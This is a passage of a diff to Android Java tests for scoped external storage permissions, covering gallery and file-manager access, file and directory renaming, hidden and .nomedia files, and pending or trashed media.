-        assertThat(openFileAs(app, file.getPath(), forWrite)).isFalse();
-    }
-
-    @Test
-    public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
-        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
-        final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
-        final File imageInAnObviouslyWrongPlace = new File(getMusicDir(), IMAGE_FILE_NAME);
-
-        try {
-            installApp(TEST_APP_A);
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create an image file
-            assertThat(createFileAs(TEST_APP_A, otherAppImageFile.getPath())).isTrue();
-            assertThat(otherAppImageFile.exists()).isTrue();
-
-            // Assert we can write to the file
-            try (final FileOutputStream fos = new FileOutputStream(otherAppImageFile)) {
-                fos.write(BYTES_DATA1);
-            }
-
-            // Assert we can read from the file
-            assertFileContent(otherAppImageFile, BYTES_DATA1);
-
-            // Assert we can delete the file
-            assertThat(otherAppImageFile.delete()).isTrue();
-            assertThat(otherAppImageFile.exists()).isFalse();
-
-            // Can create an image anywhere
-            assertCanCreateFile(topLevelImageFile);
-            assertCanCreateFile(imageInAnObviouslyWrongPlace);
-
-            // Put the file back in its place and let TEST_APP_A delete it
-            assertThat(otherAppImageFile.createNewFile()).isTrue();
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppImageFile.getAbsolutePath());
-            otherAppImageFile.delete();
-            uninstallApp(TEST_APP_A);
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
-        final File otherAppAudioFile = new File(getMusicDir(), "other_" + AUDIO_FILE_NAME);
-        final File topLevelAudioFile = new File(getExternalStorageDir(), AUDIO_FILE_NAME);
-        final File audioInAnObviouslyWrongPlace = new File(getPicturesDir(), AUDIO_FILE_NAME);
-
-        try {
-            installApp(TEST_APP_A);
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create an audio file
-            assertThat(createFileAs(TEST_APP_A, otherAppAudioFile.getPath())).isTrue();
-            assertThat(otherAppAudioFile.exists()).isTrue();
-
-            // Assert we can't access the file
-            assertThat(canOpen(otherAppAudioFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppAudioFile, /* forWrite */ true)).isFalse();
-
-            // Assert we can't delete the file
-            assertThat(otherAppAudioFile.delete()).isFalse();
-
-            // Can't create an audio file where it doesn't belong
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> { topLevelAudioFile.createNewFile(); });
-            assertThrows(IOException.class, "Operation not permitted",
-                    () -> { audioInAnObviouslyWrongPlace.createNewFile(); });
-        } finally {
-            deleteFileAs(TEST_APP_A, otherAppAudioFile.getPath());
-            uninstallApp(TEST_APP_A);
-            topLevelAudioFile.delete();
-            audioInAnObviouslyWrongPlace.delete();
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
-        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
-        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
-        final File topLevelVideoFile = new File(getExternalStorageDir(), VIDEO_FILE_NAME);
-        final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
-        try {
-            installApp(TEST_APP_A);
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create a video file
-            assertThat(createFileAs(TEST_APP_A, otherAppVideoFile.getPath())).isTrue();
-            assertThat(otherAppVideoFile.exists()).isTrue();
-
-            // Write some data to the file
-            try (final FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
-                fos.write(BYTES_DATA1);
-            }
-            assertFileContent(otherAppVideoFile, BYTES_DATA1);
-
-            // Assert we can rename the file and ensure the file has the same content
-            assertCanRenameFile(otherAppVideoFile, videoFile);
-            assertFileContent(videoFile, BYTES_DATA1);
-            // We can even move it to the top level directory
-            assertCanRenameFile(videoFile, topLevelVideoFile);
-            assertFileContent(topLevelVideoFile, BYTES_DATA1);
-            // And we can even convert it into an image file, because why not?
-            assertCanRenameFile(topLevelVideoFile, imageFile);
-            assertFileContent(imageFile, BYTES_DATA1);
-
-            // We can convert it to a music file, but we won't have access to music file after
-            // renaming.
-            assertThat(imageFile.renameTo(musicFile)).isTrue();
-            assertThat(getFileRowIdFromDatabase(musicFile)).isEqualTo(-1);
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppVideoFile.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
-            imageFile.delete();
-            videoFile.delete();
-            topLevelVideoFile.delete();
-            executeShellCommand("rm  " + musicFile.getAbsolutePath());
-            MediaStore.scanFile(getContentResolver(), musicFile);
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Test that basic file path restrictions are enforced on file rename.
-     */
-    @Test
-    public void testRenameFile() throws Exception {
-        final File downloadDir = getDownloadDir();
-        final File nonMediaDir = new File(downloadDir, TEST_DIRECTORY_NAME);
-        final File pdfFile1 = new File(downloadDir, NONMEDIA_FILE_NAME);
-        final File pdfFile2 = new File(nonMediaDir, NONMEDIA_FILE_NAME);
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        final File videoFile3 = new File(downloadDir, VIDEO_FILE_NAME);
-
-        try {
-            // Renaming non media file to media directory is not allowed.
-            assertThat(pdfFile1.createNewFile()).isTrue();
-            assertCantRenameFile(pdfFile1, new File(getDcimDir(), NONMEDIA_FILE_NAME));
-            assertCantRenameFile(pdfFile1, new File(getMusicDir(), NONMEDIA_FILE_NAME));
-            assertCantRenameFile(pdfFile1, new File(getMoviesDir(), NONMEDIA_FILE_NAME));
-
-            // Renaming non media files to non media directories is allowed.
-            if (!nonMediaDir.exists()) {
-                assertThat(nonMediaDir.mkdirs()).isTrue();
-            }
-            // App can rename pdfFile to non media directory.
-            assertCanRenameFile(pdfFile1, pdfFile2);
-
-            assertThat(videoFile1.createNewFile()).isTrue();
-            // App can rename video file to Movies directory
-            assertCanRenameFile(videoFile1, videoFile2);
-            // App can rename video file to Download directory
-            assertCanRenameFile(videoFile2, videoFile3);
-        } finally {
-            pdfFile1.delete();
-            pdfFile2.delete();
-            videoFile1.delete();
-            videoFile2.delete();
-            videoFile3.delete();
-            nonMediaDir.delete();
-        }
-    }
-
-    /**
-     * Test that renaming file to different mime type is allowed.
-     */
-    @Test
-    public void testRenameFileType() throws Exception {
-        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File videoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        try {
-            assertThat(pdfFile.createNewFile()).isTrue();
-            assertThat(videoFile.exists()).isFalse();
-            // Moving pdfFile to DCIM directory is not allowed.
-            assertCantRenameFile(pdfFile, new File(getDcimDir(), NONMEDIA_FILE_NAME));
-            // However, moving pdfFile to DCIM directory with changing the mime type to video is
-            // allowed.
-            assertCanRenameFile(pdfFile, videoFile);
-
-            // On rename, MediaProvider database entry for pdfFile should be updated with new
-            // videoFile path and mime type should be updated to video/mp4.
-            assertThat(getFileMimeTypeFromDatabase(videoFile)).isEqualTo("video/mp4");
-        } finally {
-            pdfFile.delete();
-            videoFile.delete();
-        }
-    }
-
-    /**
-     * Test that renaming files overwrites files in newPath.
-     */
-    @Test
-    public void testRenameAndReplaceFile() throws Exception {
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        final ContentResolver cr = getContentResolver();
-        try {
-            assertThat(videoFile1.createNewFile()).isTrue();
-            assertThat(videoFile2.createNewFile()).isTrue();
-            final Uri uriVideoFile1 = MediaStore.scanFile(cr, videoFile1);
-            final Uri uriVideoFile2 = MediaStore.scanFile(cr, videoFile2);
-
-            // Renaming a file which replaces file in newPath videoFile2 is allowed.
-            assertCanRenameFile(videoFile1, videoFile2);
-
-            // Uri of videoFile2 should be accessible after rename.
-            assertThat(cr.openFileDescriptor(uriVideoFile2, "rw")).isNotNull();
-            // Uri of videoFile1 should not be accessible after rename.
-            assertThrows(FileNotFoundException.class,
-                    () -> { cr.openFileDescriptor(uriVideoFile1, "rw"); });
-        } finally {
-            videoFile1.delete();
-            videoFile2.delete();
-        }
-    }
-
-    /**
-     * Test that app without write permission for file can't update the file.
-     */
-    @Test
-    public void testRenameFileNotOwned() throws Exception {
-        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
-        try {
-            installApp(TEST_APP_A);
-            assertThat(createFileAs(TEST_APP_A, videoFile1.getAbsolutePath())).isTrue();
-            // App can't rename a file owned by TEST_APP_A.
-            assertCantRenameFile(videoFile1, videoFile2);
-
-            assertThat(videoFile2.createNewFile()).isTrue();
-            // App can't rename a file to videoFile1 which is owned by TEST_APP_A
-            assertCantRenameFile(videoFile2, videoFile1);
-            // TODO(b/146346138): Test that app with right URI permission should be able to rename
-            // the corresponding file
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, videoFile1.getAbsolutePath());
-            videoFile2.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that renaming directories is allowed and aligns to default directory restrictions.
-     */
-    @Test
-    public void testRenameDirectory() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File downloadDir = getDownloadDir();
-        final String nonMediaDirectoryName = TEST_DIRECTORY_NAME + "NonMedia";
-        final File nonMediaDirectory = new File(downloadDir, nonMediaDirectoryName);
-        final File pdfFile = new File(nonMediaDirectory, NONMEDIA_FILE_NAME);
-
-        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        final File mediaDirectory1 = new File(dcimDir, mediaDirectoryName);
-        final File videoFile1 = new File(mediaDirectory1, VIDEO_FILE_NAME);
-        final File mediaDirectory2 = new File(downloadDir, mediaDirectoryName);
-        final File videoFile2 = new File(mediaDirectory2, VIDEO_FILE_NAME);
-        final File mediaDirectory3 = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
-        final File videoFile3 = new File(mediaDirectory3, VIDEO_FILE_NAME);
-        final File mediaDirectory4 = new File(mediaDirectory3, mediaDirectoryName);
-
-        try {
-            if (!nonMediaDirectory.exists()) {
-                assertThat(nonMediaDirectory.mkdirs()).isTrue();
-            }
-            assertThat(pdfFile.createNewFile()).isTrue();
-            // Move directory with pdf file to DCIM directory is not allowed.
-            assertThat(nonMediaDirectory.renameTo(new File(dcimDir, nonMediaDirectoryName)))
-                    .isFalse();
-
-            if (!mediaDirectory1.exists()) {
-                assertThat(mediaDirectory1.mkdirs()).isTrue();
-            }
-            assertThat(videoFile1.createNewFile()).isTrue();
-            // Renaming to and from default directories is not allowed.
-            assertThat(mediaDirectory1.renameTo(dcimDir)).isFalse();
-            // Moving top level default directories is not allowed.
-            assertCantRenameDirectory(downloadDir, new File(dcimDir, TEST_DIRECTORY_NAME), null);
-
-            // Moving media directory to Download directory is allowed.
-            assertCanRenameDirectory(mediaDirectory1, mediaDirectory2, new File[] {videoFile1},
-                    new File[] {videoFile2});
-
-            // Moving media directory to Movies directory and renaming directory in new path is
-            // allowed.
-            assertCanRenameDirectory(mediaDirectory2, mediaDirectory3, new File[] {videoFile2},
-                    new File[] {videoFile3});
-
-            // Can't rename a mediaDirectory to non empty non Media directory.
-            assertCantRenameDirectory(mediaDirectory3, nonMediaDirectory, new File[] {videoFile3});
-            // Can't rename a file to a directory.
-            assertCantRenameFile(videoFile3, mediaDirectory3);
-            // Can't rename a directory to file.
-            assertCantRenameDirectory(mediaDirectory3, pdfFile, null);
-            if (!mediaDirectory4.exists()) {
-                assertThat(mediaDirectory4.mkdir()).isTrue();
-            }
-            // Can't rename a directory to subdirectory of itself.
-            assertCantRenameDirectory(mediaDirectory3, mediaDirectory4, new File[] {videoFile3});
-
-        } finally {
-            pdfFile.delete();
-            nonMediaDirectory.delete();
-
-            videoFile1.delete();
-            videoFile2.delete();
-            videoFile3.delete();
-            mediaDirectory1.delete();
-            mediaDirectory2.delete();
-            mediaDirectory3.delete();
-            mediaDirectory4.delete();
-        }
-    }
-
-    /**
-     * Test that renaming directory checks file ownership permissions.
-     */
-    @Test
-    public void testRenameDirectoryNotOwned() throws Exception {
-        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        File mediaDirectory1 = new File(getDcimDir(), mediaDirectoryName);
-        File mediaDirectory2 = new File(getMoviesDir(), mediaDirectoryName);
-        File videoFile = new File(mediaDirectory1, VIDEO_FILE_NAME);
-
-        try {
-            installApp(TEST_APP_A);
-
-            if (!mediaDirectory1.exists()) {
-                assertThat(mediaDirectory1.mkdirs()).isTrue();
-            }
-            assertThat(createFileAs(TEST_APP_A, videoFile.getAbsolutePath())).isTrue();
-            // App doesn't have access to videoFile1, can't rename mediaDirectory1.
-            assertThat(mediaDirectory1.renameTo(mediaDirectory2)).isFalse();
-            assertThat(videoFile.exists()).isTrue();
-            // Test app can delete the file since the file is not moved to new directory.
-            assertThat(deleteFileAs(TEST_APP_A, videoFile.getAbsolutePath())).isTrue();
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, videoFile.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
-            mediaDirectory1.delete();
-        }
-    }
-
-    /**
-     * Test renaming empty directory is allowed
-     */
-    @Test
-    public void testRenameEmptyDirectory() throws Exception {
-        final String emptyDirectoryName = TEST_DIRECTORY_NAME + "Media";
-        File emptyDirectoryOldPath = new File(getDcimDir(), emptyDirectoryName);
-        File emptyDirectoryNewPath = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
-        try {
-            if (emptyDirectoryOldPath.exists()) {
-                executeShellCommand("rm -r " + emptyDirectoryOldPath.getPath());
-            }
-            assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
-            assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
-        } finally {
-            emptyDirectoryOldPath.delete();
-            emptyDirectoryNewPath.delete();
-        }
+    public void testCheckInstallerAppCannotAccessDataDirs() throws Exception {
+        assertCanAccessPrivateAppAndroidDataDir(false /*canAccess*/, APP_B_NO_PERMS,
+                THIS_PACKAGE_NAME, NONMEDIA_FILE_NAME);
+        final int uid = getContext().getPackageManager().getPackageUid(THIS_PACKAGE_NAME, 0);
+        assertMountMode(THIS_PACKAGE_NAME, uid, StorageManager.MOUNT_MODE_EXTERNAL_INSTALLER);
     }
 
     @Test
@@ -1660,380 +196,25 @@
     public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
         pollForManageExternalStorageAllowed();
 
-        try {
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
+        // Let app A create a file in its data dir
+        final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                THIS_PACKAGE_NAME, APP_A_HAS_RES.getPackageName()));
+        final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                NONMEDIA_FILE_NAME);
+        assertCreateFilesAs(APP_A_HAS_RES, otherAppExternalDataFile);
 
-            // Let app A create a file in its data dir
-            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
-                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
-            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
-                    NONMEDIA_FILE_NAME);
-            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+        // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+        // file manager app doesn't have access to other app's external files directory
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+        assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+        assertThat(otherAppExternalDataFile.delete()).isFalse();
 
-            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
-            // file manager app doesn't have access to other app's external files directory
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
-            assertThat(otherAppExternalDataFile.delete()).isFalse();
+        assertThat(deleteFileAs(APP_A_HAS_RES, otherAppExternalDataFile.getPath())).isTrue();
 
-            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
-
-            assertThrows(IOException.class,
-                    () -> { otherAppExternalDataFile.createNewFile(); });
-
-        } finally {
-            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-        }
-    }
-
-    /**
-     * Tests that an instant app can't access external storage.
-     */
-    @Test
-    @AppModeInstant
-    public void testInstantAppsCantAccessExternalStorage() throws Exception {
-        assumeTrue("This test requires that the test runs as an Instant app",
-                getContext().getPackageManager().isInstantApp());
-        assertThat(getContext().getPackageManager().isInstantApp()).isTrue();
-
-        // Can't read ExternalStorageDir
-        assertThat(getExternalStorageDir().list()).isNull();
-
-        // Can't create a top-level direcotry
-        final File topLevelDir = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME);
-        assertThat(topLevelDir.mkdir()).isFalse();
-
-        // Can't create file under root dir
-        final File newTxtFile = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
         assertThrows(IOException.class,
-                () -> { newTxtFile.createNewFile(); });
-
-        // Can't create music file under /MUSIC
-        final File newMusicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
-        assertThrows(IOException.class,
-                () -> { newMusicFile.createNewFile(); });
-
-        // getExternalFilesDir() is not null
-        assertThat(getExternalFilesDir()).isNotNull();
-
-        // Can't read/write app specific dir
-        assertThat(getExternalFilesDir().list()).isNull();
-        assertThat(getExternalFilesDir().exists()).isFalse();
-    }
-
-    /**
-     * Test that apps can create and delete hidden file.
-     */
-    @Test
-    public void testCanCreateHiddenFile() throws Exception {
-        final File hiddenImageFile = new File(getDownloadDir(), ".hiddenFile" + IMAGE_FILE_NAME);
-        try {
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-            // Write to hidden file is allowed.
-            try (final FileOutputStream fos = new FileOutputStream(hiddenImageFile)) {
-                fos.write(BYTES_DATA1);
-            }
-            assertFileContent(hiddenImageFile, BYTES_DATA1);
-
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            assertDirectoryContains(getDownloadDir(), hiddenImageFile);
-            assertThat(getFileRowIdFromDatabase(hiddenImageFile)).isNotEqualTo(-1);
-
-            // We can delete hidden file
-            assertThat(hiddenImageFile.delete()).isTrue();
-            assertThat(hiddenImageFile.exists()).isFalse();
-        } finally {
-            hiddenImageFile.delete();
-        }
-    }
-
-    /**
-     * Test that apps can rename a hidden file.
-     */
-    @Test
-    public void testCanRenameHiddenFile() throws Exception {
-        final String hiddenFileName = ".hidden" + IMAGE_FILE_NAME;
-        final File hiddenImageFile1 = new File(getDcimDir(), hiddenFileName);
-        final File hiddenImageFile2 = new File(getDownloadDir(), hiddenFileName);
-        final File imageFile = new File(getDownloadDir(), IMAGE_FILE_NAME);
-        try {
-            assertThat(hiddenImageFile1.createNewFile()).isTrue();
-            assertCanRenameFile(hiddenImageFile1, hiddenImageFile2);
-            assertNotMediaTypeImage(hiddenImageFile2);
-
-            // We can also rename hidden file to non-hidden
-            assertCanRenameFile(hiddenImageFile2, imageFile);
-            assertIsMediaTypeImage(imageFile);
-
-            // We can rename non-hidden file to hidden
-            assertCanRenameFile(imageFile, hiddenImageFile1);
-            assertNotMediaTypeImage(hiddenImageFile1);
-        } finally {
-            hiddenImageFile1.delete();
-            hiddenImageFile2.delete();
-            imageFile.delete();
-        }
-    }
-
-    /**
-     * Test that files in hidden directory have MEDIA_TYPE=MEDIA_TYPE_NONE
-     */
-    @Test
-    public void testHiddenDirectory() throws Exception {
-        final File hiddenDir = new File(getDownloadDir(), ".hidden" + TEST_DIRECTORY_NAME);
-        final File hiddenImageFile = new File(hiddenDir, IMAGE_FILE_NAME);
-        final File nonHiddenDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
-        final File imageFile = new File(nonHiddenDir, IMAGE_FILE_NAME);
-        try {
-            if (!hiddenDir.exists()) {
-                assertThat(hiddenDir.mkdir()).isTrue();
-            }
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            // Renaming hiddenDir to nonHiddenDir makes the imageFile non-hidden and vice versa
-            assertCanRenameDirectory(
-                    hiddenDir, nonHiddenDir, new File[] {hiddenImageFile}, new File[] {imageFile});
-            assertIsMediaTypeImage(imageFile);
-
-            assertCanRenameDirectory(
-                    nonHiddenDir, hiddenDir, new File[] {imageFile}, new File[] {hiddenImageFile});
-            assertNotMediaTypeImage(hiddenImageFile);
-        } finally {
-            hiddenImageFile.delete();
-            imageFile.delete();
-            hiddenDir.delete();
-            nonHiddenDir.delete();
-        }
-    }
-
-    /**
-     * Test that files in directory with nomedia have MEDIA_TYPE=MEDIA_TYPE_NONE
-     */
-    @Test
-    public void testHiddenDirectory_nomedia() throws Exception {
-        final File directoryNoMedia = new File(getDownloadDir(), "nomedia" + TEST_DIRECTORY_NAME);
-        final File noMediaFile = new File(directoryNoMedia, ".nomedia");
-        final File imageFile = new File(directoryNoMedia, IMAGE_FILE_NAME);
-        final File videoFile = new File(directoryNoMedia, VIDEO_FILE_NAME);
-        try {
-            if (!directoryNoMedia.exists()) {
-                assertThat(directoryNoMedia.mkdir()).isTrue();
-            }
-            assertThat(noMediaFile.createNewFile()).isTrue();
-            assertThat(imageFile.createNewFile()).isTrue();
-
-            assertNotMediaTypeImage(imageFile);
-
-            // Deleting the .nomedia file makes the parent directory non hidden.
-            noMediaFile.delete();
-            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
-            assertIsMediaTypeImage(imageFile);
-
-            // Creating the .nomedia file makes the parent directory hidden again
-            assertThat(noMediaFile.createNewFile()).isTrue();
-            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
-            assertNotMediaTypeImage(imageFile);
-
-            // Renaming the .nomedia file to non hidden file makes the parent directory non hidden.
-            assertCanRenameFile(noMediaFile, videoFile);
-            assertIsMediaTypeImage(imageFile);
-        } finally {
-            noMediaFile.delete();
-            imageFile.delete();
-            videoFile.delete();
-            directoryNoMedia.delete();
-        }
-    }
-
-    /**
-     * Test that only file manager and app that created the hidden file can list it.
-     */
-    @Test
-    public void testListHiddenFile() throws Exception {
-        final File dcimDir = getDcimDir();
-        final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
-        final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
-        try {
-            assertThat(hiddenImageFile.createNewFile()).isTrue();
-            assertNotMediaTypeImage(hiddenImageFile);
-
-            assertDirectoryContains(dcimDir, hiddenImageFile);
-
-            installApp(TEST_APP_A, true);
-            // TestApp with read permissions can't see the hidden image file created by other app
-            assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
-                    .doesNotContain(hiddenImageFileName);
-
-            final int testAppUid =
-                    getContext().getPackageManager().getPackageUid(TEST_APP_A.getPackageName(), 0);
-            // FileManager can see the hidden image file created by other app
-            try {
-                allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-                assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
-                        .contains(hiddenImageFileName);
-            } finally {
-                denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            }
-
-            // Gallery can not see the hidden image file created by other app
-            try {
-                allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-                assertThat(listAs(TEST_APP_A, dcimDir.getAbsolutePath()))
-                        .doesNotContain(hiddenImageFileName);
-            } finally {
-                denyAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-            }
-        } finally {
-            hiddenImageFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testOpenPendingAndTrashed() throws Exception {
-        final File pendingImageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File trashedVideoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
-        final File pendingPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        Uri pendingImgaeFileUri = null;
-        Uri trashedVideoFileUri = null;
-        Uri pendingPdfFileUri = null;
-        Uri trashedPdfFileUri = null;
-        try {
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            pendingImgaeFileUri = createPendingFile(pendingImageFile);
-            assertOpenPendingOrTrashed(pendingImgaeFileUri, TEST_APP_A, /*isImageOrVideo*/ true);
-
-            pendingPdfFileUri = createPendingFile(pendingPdfFile);
-            assertOpenPendingOrTrashed(pendingPdfFileUri, TEST_APP_A,
-                    /*isImageOrVideo*/ false);
-
-            trashedVideoFileUri = createTrashedFile(trashedVideoFile);
-            assertOpenPendingOrTrashed(trashedVideoFileUri, TEST_APP_A, /*isImageOrVideo*/ true);
-
-            trashedPdfFileUri = createTrashedFile(trashedPdfFile);
-            assertOpenPendingOrTrashed(trashedPdfFileUri, TEST_APP_A,
-                    /*isImageOrVideo*/ false);
-
-        } finally {
-            deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
-                    trashedPdfFile);
-            deleteWithMediaProviderNoThrow(pendingImgaeFileUri, trashedVideoFileUri,
-                    pendingPdfFileUri, trashedPdfFileUri);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testListPendingAndTrashed() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        Uri imageFileUri = null;
-        Uri pdfFileUri = null;
-        try {
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            imageFileUri = createPendingFile(imageFile);
-            // Check that only owner package, file manager and system gallery can list pending image
-            // file.
-            assertListPendingOrTrashed(imageFileUri, imageFile, TEST_APP_A,
-                    /*isImageOrVideo*/ true);
-
-            trashFile(imageFileUri);
-            // Check that only owner package, file manager and system gallery can list trashed image
-            // file.
-            assertListPendingOrTrashed(imageFileUri, imageFile, TEST_APP_A,
-                    /*isImageOrVideo*/ true);
-
-            pdfFileUri = createPendingFile(pdfFile);
-            // Check that only owner package, file manager can list pending non media file.
-            assertListPendingOrTrashed(pdfFileUri, pdfFile, TEST_APP_A,
-                    /*isImageOrVideo*/ false);
-
-            trashFile(pdfFileUri);
-            // Check that only owner package, file manager can list trashed non media file.
-            assertListPendingOrTrashed(pdfFileUri, pdfFile, TEST_APP_A,
-                    /*isImageOrVideo*/ false);
-        } finally {
-            deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
-            deleteFiles(imageFile, pdfFile);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testDeletePendingAndTrashed() throws Exception {
-        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
-        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
-        // Actual path of the file gets rewritten for pending and trashed files.
-        String pendingVideoFilePath = null;
-        String trashedImageFilePath = null;
-        String pendingPdfFilePath = null;
-        String trashedPdfFilePath = null;
-        try {
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            // App can delete its own pending and trashed file.
-            assertCanDeletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
-                    trashedPdfFilePath);
-
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            // App can't delete other app's pending and trashed file.
-            assertCantDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath,
-                    pendingPdfFilePath, trashedPdfFilePath);
-
-            final int testAppUid =
-                    getContext().getPackageManager().getPackageUid(TEST_APP_A.getPackageName(), 0);
-            try {
-                allowAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-                // File Manager can delete any pending and trashed file
-                assertCanDeletePathsAs(TEST_APP_A, pendingVideoFilePath, trashedImageFilePath,
-                        pendingPdfFilePath, trashedPdfFilePath);
-            } finally {
-                denyAppOpsToUid(testAppUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-            }
-
-            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
-            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
-            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
-            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
-
-            try {
-                allowAppOpsToUid(testAppUid, SYSTEM_GALERY_APPOPS);
-                // System Gallery can delete any pending and trashed image or video file.
